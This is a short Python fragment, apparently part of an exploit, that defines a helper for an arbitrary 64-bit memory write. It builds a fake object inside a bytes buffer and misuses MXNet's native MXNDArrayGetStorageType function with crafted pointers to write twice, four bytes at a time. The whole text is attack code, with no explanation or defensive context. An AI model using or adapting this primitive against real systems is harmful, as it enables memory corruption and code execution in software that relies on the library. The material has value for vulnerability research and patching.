def w64(addr, val):
# because we have a 4 byte write, we have to write twice to put a QWORD into memory
fake_object1 = b"A" * 0x10 + b"\0" * 0x40 + pack('<Q', val) + pack('<Q', val)
fake_object_addr1 = id(fake_object1) + sizeof(b"")-1
mx.base._LIB.MXNDArrayGetStorageType(ctypes.c_void_p(fake_object_addr1), ctypes.c_void_p(addr))
mx.base._LIB.MXNDArrayGetStorageType(ctypes.c_void_p(fake_object_addr1+4), ctypes.c_void_p(addr+4))